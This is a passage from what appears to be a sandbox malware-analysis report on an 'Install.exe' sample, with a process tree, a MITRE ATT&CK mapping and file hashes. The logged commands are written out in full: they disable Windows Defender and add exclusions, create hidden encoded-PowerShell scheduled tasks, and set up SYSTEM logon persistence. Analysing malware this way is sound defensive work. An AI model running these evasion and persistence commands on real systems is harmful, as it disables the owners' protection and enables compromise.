      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1160
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:864
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1868
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1684
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:924
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1964
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1012
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1072
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gAZkKwBBM" /SC once /ST 02:12:12 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:1896
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gAZkKwBBM"
      4⤵
      PID:1968
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gAZkKwBBM"
      4⤵
      PID:1212
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bJbhxhmwQPPePEjnjA" /SC once /ST 20:04:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\bFSCFwX.exe\" sw /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:1324

C:\Windows\system32\taskeng.exe
taskeng.exe {1538E97B-54C8-4B6A-87C1-8AFCC922C857} S-1-5-21-4063495947-34355257-727531523-1000:RYNKSFQE\Admin:Interactive:[1]
1⤵
PID:1928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1204
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1616
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1544
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1056
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:524

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1604

C:\Windows\system32\taskeng.exe
taskeng.exe {78D68730-FA97-487F-B818-35CBA3013F59} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1696
- C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\bFSCFwX.exe
  C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\bFSCFwX.exe sw /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:1920
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gBAFdofww" /SC once /ST 07:55:07 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1540
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gBAFdofww"
    3⤵
    PID:1684
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gBAFdofww"
    3⤵
    PID:1500
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1608
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1972
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:112
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1472
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gCzaWrDPh" /SC once /ST 06:29:31 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1120
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gCzaWrDPh"
    3⤵
    PID:1532
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gCzaWrDPh"
    3⤵
    PID:1536
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1580
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1516
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:944
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1720
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1600
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1608
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:964
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:112
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\biwNYXhGTKCQxjLv\WpVfiydK\HqjoctOzjglEqgzn.wsf"
    3⤵
    PID:2036
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\biwNYXhGTKCQxjLv\WpVfiydK\HqjoctOzjglEqgzn.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:1120
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LsajhStaXkJRC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1916
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LsajhStaXkJRC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:976
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QpigBxJgKxUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1540
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QpigBxJgKxUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1012
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YNUWFfCEdUiU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1732
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YNUWFfCEdUiU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:896
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1632
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2028
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oWxSecJNU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1368
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oWxSecJNU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1980
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\eiYaNjTCbhfbMeVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1500
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\eiYaNjTCbhfbMeVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1972
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1472
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:964
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1532
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1916
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LsajhStaXkJRC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1964
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LsajhStaXkJRC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1540
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QpigBxJgKxUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2008
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QpigBxJgKxUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1732
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YNUWFfCEdUiU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1152
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YNUWFfCEdUiU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1632
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2028
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1960
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oWxSecJNU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1720
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oWxSecJNU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1572
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\eiYaNjTCbhfbMeVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:984
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\eiYaNjTCbhfbMeVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1212
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1420
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:568
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1312
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "godZAFHjy" /SC once /ST 05:08:32 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1908
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "godZAFHjy"
    3⤵
    PID:1648
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "godZAFHjy"
    3⤵
    PID:1580
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
    3⤵
    PID:1116
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
      4⤵
      PID:1576
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
    3⤵
    PID:1708
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
      4⤵
      PID:1672
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "FTlmQXMDCFpnewAuq" /SC once /ST 11:44:50 /RU "SYSTEM" /TR "\"C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\eGtBkPi.exe\" VS /site_id 525403 /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:960
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "FTlmQXMDCFpnewAuq"
    3⤵
    PID:1472
- C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\eGtBkPi.exe
  C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\eGtBkPi.exe VS /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  PID:904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "bJbhxhmwQPPePEjnjA"
    3⤵
    PID:600
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:924
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
      4⤵
      PID:1832
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:1904
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
      4⤵
      PID:1320
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\oWxSecJNU\EQiXuX.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "zeLHdclAQOoTZxj" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:1908

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1656

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:360

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1733034495-696665010-961696109175586069-11251876651245900143601176027-1441854976"
1⤵
- Windows security bypass
PID:1472

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "268936178-732988724146963626-1116721518-395200476831081797-471303663-743307033"
1⤵
- Windows security bypass
PID:1916

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1976

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zS209C.tmp\Install.exe
Size 6.3MB
SHA256 9b7f5fd81087af82be6e996f66d452ce51d9c8b2edea35079cf73f1e4ee605a7
MD5 078ee192a7a0daaad80a4b0836cb047d
SHA1 8ce2657d0baf048b9f6d9befe7c3a8a6c6b04b98
SHA512 cd1b31f309f8606f2fa27c538826ea5fe5b9bd7e669f2b37b80a0761f187bd9eaf81050a016c3c43bddf0bdba6b04e213d6b4c99c7b2e271b6c8a45aa34f78ad
SSDEEP 98304:91ObF9UE1YM6Nem6vGXRw17EYcRL0v9sCc8JH8VJPoclpNKyQvN8sciC46DLC1:91ObQE1XmmGhwZEYcv8JcV7INvVcvDk
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zS209C.tmp\Install.exe
Size 6.3MB
SHA256 9b7f5fd81087af82be6e996f66d452ce51d9c8b2edea35079cf73f1e4ee605a7
MD5 078ee192a7a0daaad80a4b0836cb047d
SHA1 8ce2657d0baf048b9f6d9befe7c3a8a6c6b04b98
SHA512 cd1b31f309f8606f2fa27c538826ea5fe5b9bd7e669f2b37b80a0761f187bd9eaf81050a016c3c43bddf0bdba6b04e213d6b4c99c7b2e271b6c8a45aa34f78ad
SSDEEP 98304:91ObF9UE1YM6Nem6vGXRw17EYcRL0v9sCc8JH8VJPoclpNKyQvN8sciC46DLC1:91ObQE1XmmGhwZEYcv8JcV7INvVcvDk
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zS24A1.tmp\Install.exe
Size 6.8MB
SHA256 44c717fd08281b16f266bd9bc037fc16713a8ac02e1dfe519ba3be49bac8442a
MD5 ad10a30760d467dade24f430b558b465
SHA1 7aaa56e80264c27d080c3b77055294593eacca1b
SHA512 23c13f8c865da24d848b2843b67190188048e7383dcb2dff10f8e8e94862a8ae1916aef3566cd2ce4346c816f7e8301912a9fff4a04bb5380b75b98bd7154e63
SSDEEP 196608:i8Uh8mJO7UIPenFkLjUG6W+l72tGXEn0XwH5BXSNO:i+ESLokx6hRKgEn5H5BXSN
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zS24A1.tmp\Install.exe
Size 6.8MB
SHA256 44c717fd08281b16f266bd9bc037fc16713a8ac02e1dfe519ba3be49bac8442a
